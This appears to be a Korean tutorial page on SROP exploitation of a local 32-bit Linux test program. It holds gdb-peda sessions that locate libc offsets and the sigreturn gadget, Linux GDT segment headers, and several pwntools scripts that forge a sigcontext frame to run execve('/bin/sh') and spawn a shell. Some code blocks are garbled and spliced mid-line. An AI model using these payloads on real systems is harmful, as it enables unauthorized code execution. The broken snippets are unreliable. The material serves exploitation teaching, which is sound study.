...
| Code Block | ||
|---|---|---|
  | ||
gdb-peda$ vmmap
Start      End        Perm	Name
...
0xf7e00000 0xf7fad000 r-xp	/lib32/libc-2.23.so
0xf7fad000 0xf7fae000 ---p	/lib32/libc-2.23.so
0xf7fae000 0xf7fb0000 r--p	/lib32/libc-2.23.so
0xf7fb0000 0xf7fb1000 rw-p	/lib32/libc-2.23.so
...
gdb-peda$ p/x 0xf7e49020 - 0xf7e00000
$2 = 0x49020
gdb-peda$ p __kernel_sigreturn
$3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000
$4 = 0x1d8de0
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5902b ("/bin/sh")
gdb-peda$ p/x 0xf7f5902b - 0xf7e00000
$5 = 0x15902b
gdb-peda$ | 
Find Gadgets
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
 
Offset of __kernel_sigreturn
- 다음과 같이 __kernel_sigreturn() 함수를 Exploit에 사용할 수 있습니다.
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
- Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
 
 0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.
- Ex) __kernel_sigreturn() + sigcontext 구조체
 
 - 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
 
| Code Block | ||
|---|---|---|
  | ||
gdb-peda$ x/3i 0xf7fd8de0
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$  | 
Find Gadgets
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
 
| Panel | |||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
  | |||||||||||||||||||||||||||||||||||||||||||||||||
  | |||||||||||||||||||||||||||||||||||||||||||||||||
| Panel | |||||||||||||||||||||||||||||||||||||||||||||||||
  | |||||||||||||||||||||||||||||||||||||||||||||||||
  | 
- 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인 할 수 있습니다.
 
...
SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.
sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.
Linux kernel에는 4개의 세그먼트만 존재합니다.
- 공격 코드들은 User Mode에서 실행되기 때문에 0x23, 0x2b가 User Code, User Data / Stack 값을 사용해야 합니다.
 - 그리고 32bit 프로그램의 경우 실행되는 운영체제(32bit / 64bit) 환경에 따라 사용되는 세그먼트 값이 다릅니다.
- 32bit 운영체제에서는 0x73, 0x7b가 사용횝니다.
 - 62bit 운영체제에서는 실행되는 32bit 프로그램의 경우 0x23, 0x2b가 사용됩니다.
 
 이외의 값을 저장하게 되면 에러가 발생하게됩니다.
| Panel | |||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
  | |||||||||||||||
  | |||||||||||||||
| Code Block | ||||||
|---|---|---|---|---|---|---|
  | 17-rc6
  | h#L203
Exploit code
- 다음과 같이 Exploit code를 작성 할 수 있습니다.
 
  | |
#ifdef CONFIG_X86_32
...
#define GDT_ENTRY_TLS_MIN		6
#define GDT_ENTRY_TLS_MAX 		(GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1)
#define GDT_ENTRY_KERNEL_CS		12
#define GDT_ENTRY_KERNEL_DS		13
#define GDT_ENTRY_DEFAULT_USER_CS	14
#define GDT_ENTRY_DEFAULT_USER_DS	15
#define GDT_ENTRY_TSS			16
#define GDT_ENTRY_LDT			17
#define GDT_ENTRY_PNPBIOS_CS32		18
#define GDT_ENTRY_PNPBIOS_CS16		19
#define GDT_ENTRY_PNPBIOS_DS		20
#define GDT_ENTRY_PNPBIOS_TS1		21
#define GDT_ENTRY_PNPBIOS_TS2		22
#define GDT_ENTRY_APMBIOS_BASE		23
#define GDT_ENTRY_ESPFIX_SS		26
#define GDT_ENTRY_PERCPU		27
#define GDT_ENTRY_STACK_CANARY		28
#define GDT_ENTRY_DOUBLEFAULT_TSS	31
/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			32
/*
 * Segment selector values corresponding to the above entries:
 */
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __ESPFIX_SS			(GDT_ENTRY_ESPFIX_SS*8) | 
| Code Block | ||||||||
|---|---|---|---|---|---|---|---|---|
  | ||||||||
#else /* 64-bit: */
#include <asm/cache.h>
#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3
/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6
/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10
#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14
/* Abused to load per CPU data from limit */
#define GDT_ENTRY_PER_CPU		15
/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16
/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER32_DS			__USER_DS
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __PER_CPU_SEG			(GDT_ENTRY_PER_CPU*8 + 3)
/* TLS indexes for 64-bit - hardcoded in arch_prctl(): */
#define FS_TLS				0
#define GS_TLS				1
#define GS_TLS_SEL			((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3)
#define FS_TLS_SEL			((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3)
#endif | 
| Info | 
|---|
Exploit code
- 다음과 같이 Exploit code를 작성 할 수 있습니다.
 
| Code Block | ||||
|---|---|---|---|---|
  | ||||
from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscall = libcBase + 0x1d5de6
binsh = libcBase + 0x15902b
ksigreturn = libcBase + 0x1d5de0
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
 
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI
exploit += p32(0x0)         #ESI
exploit += p32(0x0)         #EBP
exploit += p32(syscall)     #ESP
exploit += p32(binsh)       #EBX
exploit += p32(0x0)         #EDX
exploit += p32(0x0)         #ECX
exploit += p32(0xb)         #EAX
exploit += p32(0x0)         #trapno
exploit += p32(0x0)         #err
 
exploit += p32(syscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23)        #CS | ||||
| Code Block | ||||
  | ||||
from pwn import * binary = ELF('./srop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x49020 ksigreturn = libcBase + 0x1d5de1 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b print hex(libcBase) print hex(sigreturn) print hex(binsh) print hex(syscall) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) exploit += p32(0x0) #GS exploit += p32(0x0) #FS exploit += p32(0x0) #ES #eflags exploit += p32(0x0) #DS #esp_atsignal exploit += p32(0x0) #EDI exploit0x2b) #SS #Runed a 32bit program in the 32bit operation system. #exploit += p32(0x0) #ESI exploit0x73) #CS #exploit += p32(0x0) #EBP exploit += p32(syscall) #ESP exploit #eflags #exploit += p32(binsh) #EBX exploit0x0) #esp_atsignal #exploit += p32(0x0) #EDX exploit += p32(0x0) #ECX exploit += p32(0xb) #EAX exploit += p32(0x0) #trapno exploit += p32(0x0) #err exploit += p32(syscall) #EIP exploit += p32(0x23) #CS exploit += p32(0x0) #eflags exploit += p32(0x0) #esp_atsignal exploit += p32(0x2b) #SS p.send(exploit) p.interactive()  | 
- pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
 
0x7b)        #SS
 
p.send(exploit)
p.interactive() | 
- pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
 
| Code Block | ||||
|---|---|---|---|---|
  | ||||
from pwn import *
 
binary = ELF('./srop32')
p = process(binary.path)
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
ksigreturn = libcBase + 0x1d5de0 
syscall = libcBase + 0x1d5de6 
binsh = libcBase + 0x15902b
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn | ||||
| Code Block | ||||
  | ||||
from pwn import * binary = ELF('./srop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) libcBase = stackAddr - 0x49020 ksigreturn = libcBase + 0x1d5de1 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b print hex(libcBase) print hex(sigreturn) print hex(binsh) print hex(syscall) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) #ret exploit += p32(0x0) #Runed a 32bit program in the 64bit operation system. frame = SigreturnFrame(kernel='amd64') #Runed a 32bit program in the 32bit operation system. #frame = SigreturnFrame(kernel='i386') frame.eax = constants.SYS_execve0xb frame.ebx = binsh frame.esp = syscall frame.eip = syscall exploit += str(frame) p.send(exploit) p.interactive()  | 
...